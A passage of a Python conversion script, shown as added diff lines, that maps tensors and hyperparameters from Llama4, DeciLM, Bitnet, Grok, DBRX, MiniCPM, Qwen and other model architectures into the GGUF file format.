# default values are taken from transformers code + self.hparams["hidden_size"] = self.hparams.get("hidden_size", 1152) + self.hparams["num_attention_heads"] = self.hparams.get("num_attention_heads", 16) + self.hparams["intermediate_size"] = self.hparams.get("intermediate_size", 3072) + + def set_gguf_parameters(self): + super().set_gguf_parameters() + self.gguf_writer.add_clip_projector_type(gguf.VisionProjectorType.IDEFICS3) + self.gguf_writer.add_vision_attention_layernorm_eps(self.hparams.get("layer_norm_eps", 1e-5)) + self.gguf_writer.add_vision_projector_scale_factor(self.global_config.get("scale_factor", 2)) + self.gguf_writer.add_vision_use_gelu(True) + + def tensor_force_quant(self, name, new_name, bid, n_dims): + del bid, new_name, n_dims # unused + if ".embeddings." in name: + return gguf.GGMLQuantizationType.F32 + return False + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + is_vision_tensor = "vision_tower" in name or "vision_model" in name or "model.connector" in name + + if is_vision_tensor: + return [(self.map_tensor_name(name), data_torch)] + + return [] # skip other tensors + + +@ModelBase.register("Llama4ForConditionalGeneration") +class Llama4Model(LlamaModel): + model_arch = gguf.MODEL_ARCH.LLAMA4 + undo_permute = False + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + # IMPORTANT: the normal "intermediate_size" is renamed to "intermediate_size_mlp", we need to undo this + self.hparams["intermediate_size_moe"] = self.hparams["intermediate_size"] + self.hparams["intermediate_size"] = self.hparams["intermediate_size_mlp"] + + def set_vocab(self): + self._set_vocab_gpt2() + + def set_gguf_parameters(self): + super().set_gguf_parameters() + self.gguf_writer.add_interleave_moe_layer_step(self.hparams["interleave_moe_layer_step"]) + self.gguf_writer.add_expert_feed_forward_length(self.hparams["intermediate_size_moe"]) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None): + if name.startswith("language_model."): + name = name.replace("language_model.", "") + + # split the gate_up into gate and up + if "gate_up_proj" in name: + name_up = name.replace("gate_up_proj", "up_proj.weight") + name_gate = name.replace("gate_up_proj", "gate_proj.weight") + dim_half = data_torch.shape[-1] // 2 + gate_proj_weight, up_proj_weight = data_torch.transpose(-1, -2).split(dim_half, dim=-2) + return [ + (self.map_tensor_name(name_gate), gate_proj_weight), + (self.map_tensor_name(name_up), up_proj_weight) + ] + + if name.endswith("down_proj"): + name += ".weight" + data_torch = data_torch.transpose(-1, -2) + + if "multi_modal_projector" in name or "vision_model" in name: + return [] + return super().modify_tensors(data_torch, name, bid) + + +@ModelBase.register("Llama4ForConditionalGeneration") +class Llama4VisionModel(MmprojModel): + def set_gguf_parameters(self): + super().set_gguf_parameters() + self.gguf_writer.add_clip_projector_type(gguf.VisionProjectorType.LLAMA4) + self.gguf_writer.add_vision_attention_layernorm_eps(self.hparams["norm_eps"]) + self.gguf_writer.add_vision_projector_scale_factor(int(1.0 / self.hparams["pixel_shuffle_ratio"])) + assert self.hparams["hidden_act"] == "gelu" + self.gguf_writer.add_vision_use_gelu(True) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + if "multi_modal_projector" in name or "vision_model" in name: + # process vision tensors + if "positional_embedding_vlm" in name and ".weight" not in name: + name += ".weight" + if "multi_modal_projector.linear_1" in name: + # despite the name with number postfix, this is a single fully connected layer + return [(gguf.TENSOR_NAMES[gguf.MODEL_TENSOR.V_MMPROJ_FC] + '.weight', data_torch)] + return [(self.map_tensor_name(name), data_torch)] + return [] + + +@ModelBase.register("Mistral3ForConditionalGeneration") +class Mistral3Model(LlamaModel): + model_arch = gguf.MODEL_ARCH.LLAMA + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None): + name = name.replace("language_model.", "") + if "multi_modal_projector" in name or "vision_tower" in name: + return [] + return super().modify_tensors(data_torch, name, bid) + + +@ModelBase.register("DeciLMForCausalLM") +class DeciModel(TextModel): + model_arch = gguf.MODEL_ARCH.DECI + + @staticmethod + def _ffn_mult_to_intermediate_size(ffn_mult: float, n_embd: int) -> int: + # DeciLM-specific code + intermediate_size = int(2 * ffn_mult * n_embd / 3) + return DeciModel._find_multiple(intermediate_size, 256) + + @staticmethod + def _find_multiple(n: int, k: int) -> int: + # DeciLM-specific code + if n % k == 0: + return n + return n + k - (n % k) + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + + if "block_configs" in self.hparams: # Llama-3_1-Nemotron-51B + _block_configs: list[dict[str,Any]] = self.hparams["block_configs"] + assert self.block_count == len(_block_configs) + self._num_kv_heads = list() + self._num_heads = list() + _ffn_multipliers = list() + # ***linear attention layer*** + # if n_heads_in_group is None and replace_with_linear is True + # then _num_kv_heads[il] is 0 and _num_heads[il] is num_attention_heads + # ***attention-free layer*** + # if n_heads_in_group is None and replace_with_linear is False + # then _num_kv_heads[il] is 0 and _num_heads[il] is 0 + # ***normal attention-layer*** + # if n_heads_in_group is not None, then + # _num_kv_heads[il] is num_attention_head // n_heads_in_group and + # _num_heads[il] is num_attention_head + # ***dummy layer*** for nemotron 253B + # if n_heads_in_group is None and ffn_mult is None + # then _num_kv_heads[il] is 0 and _num_heads[il] is 0 and _ffn_dims is 0 + for il in range(len(_block_configs)): + if _block_configs[il]["attention"]["n_heads_in_group"] is None: + if _block_configs[il]["attention"]["replace_with_linear"] is True: + self._num_kv_heads.append(0) + self._num_heads.append(self.hparams["num_attention_heads"]) + else: + self._num_kv_heads.append(0) + self._num_heads.append(0) + else: + self._num_kv_heads.append(self.hparams["num_attention_heads"] // _block_configs[il]["attention"]["n_heads_in_group"]) + self._num_heads.append(self.hparams["num_attention_heads"]) + if _block_configs[il]["ffn"]["ffn_mult"] is None: # dummy layer + _ffn_multipliers.append(0.0) + else: + _ffn_multipliers.append(_block_configs[il]["ffn"]["ffn_mult"]) + assert self.block_count == len(self._num_kv_heads) + assert self.block_count == len(self._num_heads) + assert self.block_count == len(_ffn_multipliers) + assert isinstance(self._num_kv_heads, list) and isinstance(self._num_kv_heads[0], int) + assert isinstance(self._num_heads, list) and isinstance(self._num_heads[0], int) + assert isinstance(_ffn_multipliers, list) and isinstance(_ffn_multipliers[0], float) + self._ffn_dims: list[int] = [ + DeciModel._ffn_mult_to_intermediate_size(multiplier, self.hparams["hidden_size"]) + for multiplier in _ffn_multipliers + ] + + def set_vocab(self): + # Please change tokenizer_config.json of Llama-3_1-Nemotron-51B's + # eos_token from '|eot_id|' to '|end_of_text|' + if self.hparams.get("vocab_size", 128256) == 128256: + tokens, toktypes, tokpre = self.get_vocab_base() + self.gguf_writer.add_tokenizer_model("gpt2") + self.gguf_writer.add_tokenizer_pre(tokpre) + self.gguf_writer.add_token_list(tokens) + self.gguf_writer.add_token_types(toktypes) + + special_vocab = gguf.SpecialVocab(self.dir_model, load_merges=True) + special_vocab.add_to_gguf(self.gguf_writer) + else: + # DeciLM-7B + self._set_vocab_llama_hf() + + def set_gguf_parameters(self): + if "block_configs" in self.hparams: # Llama-3_1-Nemotron-51B + assert self.block_count == len(self._num_kv_heads) + assert self.block_count == len(self._num_heads) + assert self.block_count == len(self._ffn_dims) + if (rope_theta := self.hparams.get("rope_theta")) is not None: + self.gguf_writer.add_rope_freq_base(rope_theta) + self.gguf_writer.add_head_count_kv(self._num_kv_heads) + self.gguf_writer.add_head_count(self._num_heads) + self.gguf_writer.add_feed_forward_length(self._ffn_dims) + self.gguf_writer.add_block_count(self.block_count) + self.gguf_writer.add_context_length(self.hparams["max_position_embeddings"]) + self.gguf_writer.add_embedding_length(self.hparams["hidden_size"]) + self.gguf_writer.add_layer_norm_rms_eps(self.hparams["rms_norm_eps"]) + self.gguf_writer.add_key_length(self.hparams["hidden_size"] // self.hparams["num_attention_heads"]) + self.gguf_writer.add_value_length(self.hparams["hidden_size"] // self.hparams["num_attention_heads"]) + self.gguf_writer.add_file_type(self.ftype) + else: # DeciLM-7B + super().set_gguf_parameters() + if "num_key_value_heads_per_layer" in self.hparams: # DeciLM-7B + self._num_kv_heads: list[int] = self.hparams["num_key_value_heads_per_layer"] + assert self.block_count == len(self._num_kv_heads) + self.gguf_writer.add_head_count_kv(self._num_kv_heads) + hparams = self.hparams + self.gguf_writer.add_vocab_size(hparams["vocab_size"]) + + if (rope_dim := hparams.get("head_dim")) is None: + rope_dim = hparams["hidden_size"] // hparams["num_attention_heads"] + self.gguf_writer.add_rope_dimension_count(rope_dim) + + rope_scaling = self.hparams.get("rope_scaling") or {} + if rope_scaling.get("rope_type", rope_scaling.get("type")) == "linear" and "factor" in rope_scaling: + self.gguf_writer.add_rope_scaling_type(gguf.RopeScalingType.LINEAR) + self.gguf_writer.add_rope_scaling_factor(rope_scaling["factor"]) + + @staticmethod + def permute(weights: Tensor, n_head: int, n_head_kv: int | None): + if n_head_kv is not None and n_head != n_head_kv: + n_head = n_head_kv + return (weights.reshape(n_head, 2, weights.shape[0] // n_head // 2, *weights.shape[1:]) + .swapaxes(1, 2) + .reshape(weights.shape)) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + n_head = self.hparams["num_attention_heads"] + if bid is not None: + if "num_key_value_heads_per_layer" in self.hparams: + n_kv_head = self.hparams["num_key_value_heads_per_layer"][bid] + elif "block_configs" in self.hparams: + n_kv_head = self._num_kv_heads[bid] + n_head = self._num_heads[bid] + else: + n_kv_head = self.hparams.get("num_key_value_heads") + else: + n_kv_head = self.hparams.get("num_key_value_heads") + + if name.endswith(("q_proj.weight", "q_proj.bias")): + data_torch = DeciModel.permute(data_torch, n_head, n_head) + if name.endswith(("k_proj.weight", "k_proj.bias")): + data_torch = DeciModel.permute(data_torch, n_head, n_kv_head) + return [(self.map_tensor_name(name), data_torch)] + + def generate_extra_tensors(self) -> Iterable[tuple[str, Tensor]]: + if rope_scaling := self.find_hparam(["rope_scaling"], optional=True): + if rope_scaling.get("rope_type", '').lower() == "llama3": + base = self.hparams.get("rope_theta", 10000.0) + if (dim := self.hparams.get("head_dim")) is None: + dim = self.hparams["hidden_size"] // self.hparams["num_attention_heads"] + freqs = 1.0 / (base ** (torch.arange(0, dim, 2, dtype=torch.float32) / dim)) + + factor = rope_scaling.get("factor", 8.0) + low_freq_factor = rope_scaling.get("low_freq_factor", 1.0) + high_freq_factor = rope_scaling.get("high_freq_factor", 4.0) + old_context_len = self.hparams.get("original_max_position_embeddings", 8192) + + low_freq_wavelen = old_context_len / low_freq_factor + high_freq_wavelen = old_context_len / high_freq_factor + assert low_freq_wavelen != high_freq_wavelen + + rope_factors = [] + for freq in freqs: + wavelen = 2 * math.pi / freq + if wavelen < high_freq_wavelen: + rope_factors.append(1) + elif wavelen > low_freq_wavelen: + rope_factors.append(factor) + else: + smooth = (old_context_len / wavelen - low_freq_factor) / (high_freq_factor - low_freq_factor) + rope_factors.append(1 / ((1 - smooth) / factor + smooth)) + + yield (self.format_tensor_name(gguf.MODEL_TENSOR.ROPE_FREQS), torch.tensor(rope_factors, dtype=torch.float32)) + + def prepare_tensors(self): + super().prepare_tensors() + + +@ModelBase.register("BitnetForCausalLM") +class BitnetModel(TextModel): + model_arch = gguf.MODEL_ARCH.BITNET + + def set_vocab(self): + self._set_vocab_sentencepiece() + + def set_gguf_parameters(self): + super().set_gguf_parameters() + self.gguf_writer.add_rope_scaling_type(gguf.RopeScalingType.LINEAR) + self.gguf_writer.add_rope_scaling_factor(1.0) + + def weight_quant(self, weight: Tensor) -> Tensor: + dtype = weight.dtype + weight = weight.float() + scale = weight.abs().mean().clamp(min=1e-5) + iscale = 1 / scale + # TODO: multiply by the scale directly instead of inverting it twice + # (this is also unnecessarily doubly inverted upstream) + # ref: https://huggingface.co/1bitLLM/bitnet_b1_58-3B/blob/af89e318d78a70802061246bf037199d2fb97020/utils_quant.py#L10 + result = (weight * iscale).round().clamp(-1, 1) / iscale + return result.type(dtype) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + new_name = self.map_tensor_name(name) + + if any(self.match_model_tensor_name(new_name, key, bid) for key in [ + gguf.MODEL_TENSOR.ATTN_Q, + gguf.MODEL_TENSOR.ATTN_K, + gguf.MODEL_TENSOR.ATTN_V, + gguf.MODEL_TENSOR.ATTN_OUT, + gguf.MODEL_TENSOR.FFN_UP, + gguf.MODEL_TENSOR.FFN_DOWN, + gguf.MODEL_TENSOR.FFN_GATE, + ]): + # transform weight into 1/0/-1 (in fp32) + data_torch = self.weight_quant(data_torch) + + yield (new_name, data_torch) + + +@ModelBase.register("GrokForCausalLM") +class GrokModel(TextModel): + model_arch = gguf.MODEL_ARCH.GROK + + def set_vocab(self): + self._set_vocab_sentencepiece() + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + + def set_gguf_parameters(self): + super().set_gguf_parameters() + + _experts: list[dict[str, Tensor]] | None = None + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + # process the experts separately + if name.find(".moe.") != -1: + n_experts = self.hparams["num_local_experts"] + + assert bid is not None + + if self._experts is None: + self._experts = [{} for _ in range(self.block_count)] + + self._experts[bid][name] = data_torch + + if len(self._experts[bid]) >= n_experts * 3: + tensors: list[tuple[str, Tensor]] = [] + + # merge the experts into a single 3d tensor + for wid in ["linear", "linear_1", "linear_v"]: + datas: list[Tensor] = [] + + for xid in range(n_experts): + ename = f"transformer.decoder_layer.{bid}.moe.{xid}.{wid}.weight" + datas.append(self._experts[bid][ename]) + del self._experts[bid][ename] + + data_torch = torch.stack(datas, dim=0) + + merged_name = f"transformer.decoder_layer.{bid}.moe.{wid}.weight" + + new_name = self.map_tensor_name(merged_name) + + tensors.append((new_name, data_torch)) + return tensors + else: + return [] + + return [(self.map_tensor_name(name), data_torch)] + + +@ModelBase.register("DbrxForCausalLM") +class DbrxModel(TextModel): + model_arch = gguf.MODEL_ARCH.DBRX + + def set_gguf_parameters(self): + ffn_config = self.hparams["ffn_config"] + attn_config = self.hparams["attn_config"] + self.gguf_writer.add_block_count(self.hparams["n_layers"]) + + self.gguf_writer.add_context_length(self.hparams["max_seq_len"]) + self.gguf_writer.add_embedding_length(self.hparams["d_model"]) + self.gguf_writer.add_feed_forward_length(ffn_config["ffn_hidden_size"]) + + self.gguf_writer.add_head_count(self.hparams["n_heads"]) + self.gguf_writer.add_head_count_kv(attn_config["kv_n_heads"]) + + self.gguf_writer.add_rope_freq_base(attn_config["rope_theta"]) + + self.gguf_writer.add_clamp_kqv(attn_config["clip_qkv"]) + + self.gguf_writer.add_expert_count(ffn_config["moe_num_experts"]) + self.gguf_writer.add_expert_used_count(ffn_config["moe_top_k"]) + + self.gguf_writer.add_layer_norm_eps(1e-5) + + self.gguf_writer.add_file_type(self.ftype) + logger.info(f"gguf: file type = {self.ftype}") + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + + n_expert = self.hparams["ffn_config"]["moe_num_experts"] + n_ff = self.hparams["ffn_config"]["ffn_hidden_size"] + n_embd = self.hparams["d_model"] + + # Specific behavior for experts tensors: suffix .weight, view as 3D and transpose + # original implementation expects (n_expert, n_ff, n_embd) for all experts weights + # But llama.cpp moe graph works differently + # AND the dimensions in ggml are typically in the reverse order of the pytorch dimensions + # so (n_expert, n_ff, n_embd) in pytorch is {n_embd, n_ff, n_expert} in ggml_tensor + exp_tensor_names = {"ffn.experts.mlp.w1": None, # LLM_TENSOR_FFN_GATE_EXPS ggml_tensor->ne{n_embd, n_ff, n_expert} + "ffn.experts.mlp.w2": (0, 2, 1), # LLM_TENSOR_FFN_DOWN_EXPS ggml_tensor->ne{n_ff, n_embd, n_expert} + "ffn.experts.mlp.v1": None} # LLM_TENSOR_FFN_UP_EXPS ggml_tensor->ne{n_embd, n_ff, n_expert} + experts = False + + for exp_tensor_name in exp_tensor_names.keys(): + if name.find(exp_tensor_name) != -1 and name.find(".weight") == -1: + experts = True + data_torch = data_torch.view(n_expert, n_ff, n_embd) + if (permute_tensor := exp_tensor_names[exp_tensor_name]) is not None: + data_torch = data_torch.permute(*permute_tensor) + break + + # map tensor names + # In MoE models the ffn tensors are typically most of the model weights, + # and need to be quantizable. Quantize expects tensor names to be suffixed by .weight. + # Every other model has the weight names ending in .weight, + # let's assume that is the convention which is not the case for dbrx: + # https://huggingface.co/databricks/dbrx-instruct/blob/main/model.safetensors.index.json#L15 + new_name = self.map_tensor_name(name if not experts else name + ".weight", try_suffixes=(".weight",)) + + return [(new_name, data_torch)] + + def tensor_force_quant(self, name: str, new_name: str, bid: int | None, n_dims: int) -> gguf.GGMLQuantizationType | bool: + del name, new_name, bid # unused + + return n_dims > 1 + + +@ModelBase.register("MiniCPMForCausalLM") +class MiniCPMModel(TextModel): + model_arch = gguf.MODEL_ARCH.MINICPM + + def set_gguf_parameters(self): + super().set_gguf_parameters() + embedding_scale = float(self.hparams["scale_emb"]) + self.gguf_writer.add_embedding_scale(embedding_scale) + logger.info(f"gguf: (minicpm) embedding_scale = {embedding_scale}") + residual_scale = self.hparams["scale_depth"] / self.hparams["num_hidden_layers"] ** 0.5 + self.gguf_writer.add_residual_scale(residual_scale) + logger.info(f"gguf: (minicpm) residual_scale = {residual_scale}") + logit_scale = self.hparams["hidden_size"] / self.hparams["dim_model_base"] + self.gguf_writer.add_logit_scale(logit_scale) + logger.info(f"gguf: (minicpm) logit_scale = {logit_scale}") + rope_scaling = self.hparams.get("rope_scaling") or {} + if rope_scaling.get("rope_type", rope_scaling.get("type")) == "longrope": + self.gguf_writer.add_rope_scaling_type(gguf.RopeScalingType.LONGROPE) + logger.info(f"gguf: (minicpm) rope_scaling_type = {gguf.RopeScalingType.LONGROPE}") + + def generate_extra_tensors(self) -> Iterable[tuple[str, Tensor]]: + rope_dims = self.hparams["hidden_size"] // self.hparams["num_attention_heads"] + + rope_scaling = self.find_hparam(['rope_scaling'], True) + if rope_scaling is not None: + long_factors = rope_scaling.get('long_factor', None) + short_factors = rope_scaling.get('short_factor', None) + + if long_factors is None or short_factors is None: + raise KeyError('Missing the required key rope_scaling.long_factor or rope_scaling_short_factor') + + if len(long_factors) != len(short_factors) or len(long_factors) != rope_dims / 2: + raise ValueError(f'The length of rope long and short factors must be {rope_dims / 2}') + + yield (self.format_tensor_name(gguf.MODEL_TENSOR.ROPE_FACTORS_LONG), torch.tensor(long_factors, dtype=torch.float32)) + yield (self.format_tensor_name(gguf.MODEL_TENSOR.ROPE_FACTORS_SHORT), torch.tensor(short_factors, dtype=torch.float32)) + + def set_vocab(self): + self._set_vocab_sentencepiece() + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + + n_head = self.hparams["num_attention_heads"] + n_kv_head = self.hparams.get("num_key_value_heads") + + # HF models permute some of the tensors, so we need to undo that + if name.endswith(("q_proj.weight")): + data_torch = LlamaModel.permute(data_torch, n_head, n_head) + if name.endswith(("k_proj.weight")): + data_torch = LlamaModel.permute(data_torch, n_head, n_kv_head) + + return [(self.map_tensor_name(name), data_torch)] + + +@ModelBase.register("MiniCPM3ForCausalLM") +class MiniCPM3Model(TextModel): + model_arch = gguf.MODEL_ARCH.MINICPM3 + + def set_gguf_parameters(self): + hparams = self.hparams + + self.gguf_writer.add_file_type(self.ftype) + self.gguf_writer.add_context_length(hparams["max_position_embeddings"]) + self.gguf_writer.add_embedding_length(hparams["hidden_size"]) + self.gguf_writer.add_block_count(self.block_count) + self.gguf_writer.add_feed_forward_length(hparams["intermediate_size"]) + self.gguf_writer.add_head_count(hparams["num_attention_heads"]) + self.gguf_writer.add_head_count_kv(hparams["num_key_value_heads"]) + self.gguf_writer.add_layer_norm_rms_eps(hparams["rms_norm_eps"]) + self.gguf_writer.add_vocab_size(hparams["vocab_size"]) + if "q_lora_rank" in hparams and hparams["q_lora_rank"] is not None: + self.gguf_writer.add_q_lora_rank(hparams["q_lora_rank"]) + self.gguf_writer.add_kv_lora_rank(hparams["kv_lora_rank"]) + self.gguf_writer.add_key_length(hparams["qk_nope_head_dim"] + hparams["qk_rope_head_dim"]) + self.gguf_writer.add_rope_dimension_count(hparams["qk_rope_head_dim"]) + + def generate_extra_tensors(self) -> Iterable[tuple[str, Tensor]]: + rope_scaling = self.find_hparam(['rope_scaling'], True) + if rope_scaling is not None: + rope_dims = self.hparams["qk_rope_head_dim"] + + long_factors = rope_scaling.get('long_factor', None) + short_factors = rope_scaling.get('short_factor', None) + + if long_factors is None or short_factors is None: + raise KeyError('Missing the required key rope_scaling.long_factor or rope_scaling_short_factor') + + if len(long_factors) != len(short_factors) or len(long_factors) != rope_dims / 2: + raise ValueError(f'The length of rope long and short factors must be {rope_dims / 2}') + + yield (self.format_tensor_name(gguf.MODEL_TENSOR.ROPE_FACTORS_LONG), torch.tensor(long_factors, dtype=torch.float32)) + yield (self.format_tensor_name(gguf.MODEL_TENSOR.ROPE_FACTORS_SHORT), torch.tensor(short_factors, dtype=torch.float32)) + + def set_vocab(self): + self._set_vocab_sentencepiece() + + def _reverse_hf_permute(self, weights: Tensor, n_head: int, n_kv_head: int | None = None) -> Tensor: + if n_kv_head is not None and n_head != n_kv_head: + n_head //= n_kv_head + + return ( + weights.reshape(n_head, 2, weights.shape[0] // n_head // 2, *weights.shape[1:]) + .swapaxes(1, 2) + .reshape(weights.shape) + ) + + +@ModelBase.register("QWenLMHeadModel") +class QwenModel(TextModel): + model_arch = gguf.MODEL_ARCH.QWEN + + @staticmethod + def token_bytes_to_string(b): + from transformers.models.gpt2.tokenization_gpt2 import bytes_to_unicode + byte_encoder = bytes_to_unicode() + return ''.join([byte_encoder[ord(char)] for char in b.decode('latin-1')]) + + @staticmethod + def bpe(mergeable_ranks: dict[bytes, int], token: bytes, max_rank: int | None = None) -> list[bytes]: + parts = [bytes([b]) for b in token] + while True: + min_idx = None + min_rank = None + for i, pair in enumerate(zip(parts[:-1], parts[1:])): + rank = mergeable_ranks.get(pair[0] + pair[1]) + if rank is not None and (min_rank is None or rank < min_rank): + min_idx = i + min_rank = rank + if min_rank is None or (max_rank is not None and min_rank >= max_rank): + break + assert min_idx is not None + parts = parts[:min_idx] + [parts[min_idx] + parts[min_idx + 1]] + parts[min_idx + 2:] + return parts + + def set_vocab(self): + self._set_vocab_qwen() + + def set_gguf_parameters(self): + self.gguf_writer.add_context_length(self.hparams["max_position_embeddings"]) + self.gguf_writer.add_block_count(self.hparams["num_hidden_layers"]) + self.gguf_writer.add_embedding_length(self.hparams["hidden_size"]) + self.gguf_writer.add_feed_forward_length(self.hparams["intermediate_size"]) + self.gguf_writer.add_rope_freq_base(self.hparams["rotary_emb_base"]) + self.gguf_writer.add_rope_dimension_count(self.hparams["hidden_size"] // self.hparams["num_attention_heads"]) + self.gguf_writer.add_head_count(self.hparams["num_attention_heads"]) + self.gguf_writer.add_layer_norm_rms_eps(self.hparams["layer_norm_epsilon"]) + self.gguf_writer.add_file_type(self.ftype) + + +@ModelBase.register("Qwen2Model", "Qwen2ForCausalLM", "Qwen2AudioForConditionalGeneration") +class Qwen2Model(TextModel): + model_arch = gguf.MODEL_ARCH.QWEN2 + + def set_vocab(self): + try: + self._set_vocab_sentencepiece() + except FileNotFoundError: + self._set_vocab_gpt2() + + def set_gguf_parameters(self): + super().set_gguf_parameters() + self._try_set_pooling_type() + rope_scaling = self.hparams.get("rope_scaling") or {} + if rope_scaling.get("rope_type", rope_scaling.get("type")) == "yarn" and "factor" in rope_scaling: + self.gguf_writer.add_rope_scaling_type(gguf.RopeScalingType.YARN) + self.gguf_writer.add_rope_scaling_factor(rope_scaling["factor"]) + self.gguf_writer.add_rope_scaling_orig_ctx_len(rope_scaling["original_max_position_embeddings"]) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + if self.hf_arch == "Qwen2Model": + name = f"model.{name}" # map to Qwen2ForCausalLM tensors + if "language_model." in name: + name = name.replace("language_model.", "") # for InternVL + if name.startswith("mlp") or name.startswith("multi_modal_projector") \ + or name.startswith("vision_model") or name.startswith("audio_tower"): + # skip vision and audio tensors + return [] + yield from super().modify_tensors(data_torch, name, bid) + + +@ModelBase.register("Ernie4_5_ForCausalLM") +class Ernie4_5Model(TextModel): + model_arch = gguf.MODEL_ARCH.ERNIE4_5 + + def set_vocab(self): + self._set_vocab_sentencepiece() + + def set_gguf_parameters(self): + super().set_gguf_parameters() + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + num_heads = self.hparams["num_attention_heads"] + num_kv_heads = self.hparams["num_key_value_heads"] + head_dim = self.hparams["head_dim"] + + if "ernie." in name: + name = name.replace("ernie.", "model.") + # split the qkv weights + # qkv_proj shape: [(num_heads + 2 * num_kv_heads) * head_dim, hidden_size] + if "qkv_proj" in name: + name_q = name.replace("qkv_proj.weight", "q_proj.weight") + name_k = name.replace("qkv_proj.weight", "k_proj.weight") + name_v = name.replace("qkv_proj.weight", "v_proj.weight") + total_q_dim = num_heads * head_dim + total_k_dim = num_kv_heads * head_dim + total_v_dim = num_kv_heads * head_dim + q_proj_weight, k_proj_weight, v_proj_weight = data_torch.split([total_q_dim, total_k_dim, total_v_dim], dim=0) + return [ + (self.map_tensor_name(name_q), q_proj_weight), + (self.map_tensor_name(name_k), k_proj_weight), + (self.map_tensor_name(name_v), v_proj_weight) + ] + # split the up_gate_proj into gate and up + # up_gate_proj shape: [2 * intermediate_size, hidden_size] + if "up_gate_proj" in name: + name_up = name.replace("up_gate_proj.weight", "up_proj.weight") + name_gate = name.replace("up_gate_proj.weight", "gate_proj.weight") + dim_half = data_torch.shape[0] // 2 + gate_proj_weight, up_proj_weight = data_torch.split(dim_half, dim=0) + return [ + (self.map_tensor_name(name_gate), gate_proj_weight), + (self.map_tensor_name(name_up), up_proj_weight) + ] + return [(self.map_tensor_name(name), data_torch)] + + +@ModelBase.register( + "Qwen2VLModel", + "Qwen2VLForConditionalGeneration", + "Qwen2_5_VLForConditionalGeneration", + "Qwen2_5OmniModel", +) +class Qwen2VLModel(TextModel): + model_arch = gguf.MODEL_ARCH.QWEN2VL + + def set_gguf_parameters(self): + super().set_gguf_parameters() + mrope_section = self.hparams["rope_scaling"]["mrope_section"] + mrope_section += [0] * max(0, 4 - len(mrope_section)) + self.gguf_writer.add_rope_dimension_sections(mrope_section) + + def set_vocab(self): + try: + self._set_vocab_sentencepiece() + except FileNotFoundError: + self._set_vocab_gpt2() + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + if name.startswith("thinker."): + name = name.replace("thinker.", "") + if name.startswith("visual") or name.startswith("audio") or \ + name.startswith("talker") or name.startswith("token2wav"): + # skip multimodal tensors + return [] + return [(self.map_tensor_name(name), data_torch)] + + +@ModelBase.register("Qwen2VLModel", "Qwen2VLForConditionalGeneration", "Qwen2_5_VLForConditionalGeneration") +class Qwen2VLVisionModel(MmprojModel): + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + assert self.hparams_vision is not None + self.hparams_vision["image_size"] = self.hparams_vision.get("image_size", 560) + # rename config.json values + self.hparams_vision["num_attention_heads"] = self.hparams_vision.get("num_heads") + self.hparams_vision["num_hidden_layers"] = self.hparams_vision.get("depth") + if "embed_dim" in self.hparams_vision: # qwen2vl + self.hparams_vision["intermediate_size"] = self.hparams_vision.get("hidden_size") + self.hparams_vision["hidden_size"] = self.hparams_vision.get("embed_dim") + + def set_gguf_parameters(self): + super().set_gguf_parameters() + assert self.hparams_vision is not None + hparams = self.hparams_vision + model_type = self.global_config['model_type'] + if model_type == 'qwen2_vl': + self.gguf_writer.add_clip_projector_type(gguf.VisionProjectorType.QWEN2VL) + elif model_type == 'qwen2_5_vl' or model_type == 'qwen2_5_omni': + if model_type == 'qwen2_5_omni': + self.gguf_writer.add_clip_projector_type(gguf.VisionProjectorType.QWEN25O) + else: + self.gguf_writer.add_clip_projector_type(gguf.VisionProjectorType.QWEN25VL) + self.gguf_writer.add_vision_use_silu(True) + # find n_wa_pattern (window attention pattern) + fullatt_block_indexes = hparams.get("fullatt_block_indexes") + assert fullatt_block_indexes is not None, "fullatt_block_indexes is required for qwen2_5_vl" + n_wa_pattern = fullatt_block_indexes[0] + 1 + # validate n_wa_pattern + for i in range(1, len(fullatt_block_indexes)): + if fullatt_block_indexes[i] - fullatt_block_indexes[i - 1] != n_wa_pattern: + raise ValueError(f"Invalid fullatt_block_indexes: {fullatt_block_indexes}") + self.gguf_writer.add_vision_n_wa_pattern(n_wa_pattern) + else: + raise ValueError(f"Unknown QwenVL model type: {self.global_config['model_type']}") + # default values below are taken from HF tranformers code + self.gguf_writer.add_vision_attention_layernorm_eps(self.global_config.get("rms_norm_eps", 1e-6)) + + def tensor_force_quant(self, name, new_name, bid, n_dims): + del bid, name, n_dims # unused + if ".patch_embd." in new_name: + return gguf.GGMLQuantizationType.F16 + if ".position_embd." in new_name: + return gguf.GGMLQuantizationType.F32 + return False + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + if name.startswith("visual."): + # process visual tensors + # split QKV tensors if needed + if ".qkv." in name: + if data_torch.ndim == 2: # weight + c3, _ = data_torch.shape + else: # bias + c3 = data_torch.shape[0] + assert c3 % 3 == 0 + c = c3 // 3 + wq = data_torch[:c] + wk = data_torch[c: c * 2] + wv = data_torch[c * 2:] + return [ + (self.map_tensor_name(name.replace("qkv", "q")), wq), + (self.map_tensor_name(name.replace("qkv", "k")), wk), + (self.map_tensor_name(name.replace("qkv", "v")), wv), + ] + elif 'patch_embed.proj.weight' in name: + # split Conv3D into Conv2Ds + c1, c2, kt, kh, kw = data_torch.shape + del c1, c2, kh, kw # 